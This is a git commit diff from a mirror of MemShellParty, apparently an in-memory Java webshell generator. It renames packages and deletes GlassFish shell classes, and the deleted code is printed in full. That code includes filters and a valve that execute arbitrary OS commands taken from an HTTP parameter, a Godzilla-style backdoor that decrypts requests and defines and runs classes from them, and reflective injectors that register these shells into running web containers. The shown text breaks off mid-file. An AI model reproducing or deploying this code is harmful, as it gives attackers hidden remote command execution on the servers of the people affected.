mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: unify code style
This commit is contained in:
@@ -3,8 +3,8 @@ package com.reajason.javaweb.boot.controller;
|
||||
import com.reajason.javaweb.boot.entity.Config;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
|
||||
@@ -41,9 +41,4 @@ public class Reflections {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,6 +46,7 @@ tasks.withType(JavaExec).configureEach {
|
||||
|
||||
dependencies {
|
||||
implementation project(":deserialize")
|
||||
implementation project(":memshell")
|
||||
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||
import com.reajason.javaweb.memsell.jboss.JbossShell;
|
||||
import com.reajason.javaweb.memsell.jetty.JettyShell;
|
||||
import com.reajason.javaweb.memsell.payara.PayaraShell;
|
||||
import com.reajason.javaweb.memsell.resin.ResinShell;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memsell.undertow.UndertowShell;
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.GlassFishShell;
|
||||
import com.reajason.javaweb.memshell.JbossShell;
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.PayaraShell;
|
||||
import com.reajason.javaweb.memshell.ResinShell;
|
||||
import com.reajason.javaweb.memshell.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.UndertowShell;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.godzilla;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memshell.GodzillaGenerator;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.glassfish.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
-62
@@ -1,62 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.glassfish.command;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandValve implements Valve {
|
||||
public String paramName = "{{paramName}}";
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.glassfish.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
-223
@@ -1,223 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.glassfish.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GlassFishFilterInjector {
|
||||
static {
|
||||
new GlassFishFilterInjector();
|
||||
}
|
||||
|
||||
Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName());
|
||||
|
||||
|
||||
public GlassFishFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterName = getClassName();
|
||||
// 防止重复注入
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
-205
@@ -1,205 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.glassfish.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GlassFishListenerInjector {
|
||||
static {
|
||||
new GlassFishListenerInjector();
|
||||
}
|
||||
|
||||
Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName());
|
||||
|
||||
public GlassFishListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
try {
|
||||
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
|
||||
boolean isExist = false;
|
||||
for (EventListener eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||
isExist = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!isExist) {
|
||||
log.info("listener added successfully");
|
||||
eventListeners.add((EventListener) listener);
|
||||
} else {
|
||||
log.warning("listener already exists");
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
-228
@@ -1,228 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.glassfish.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GlassFishValveInjector {
|
||||
|
||||
static {
|
||||
new GlassFishValveInjector();
|
||||
}
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getValve(context);
|
||||
if (valve == null) {
|
||||
continue;
|
||||
}
|
||||
injectValve(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
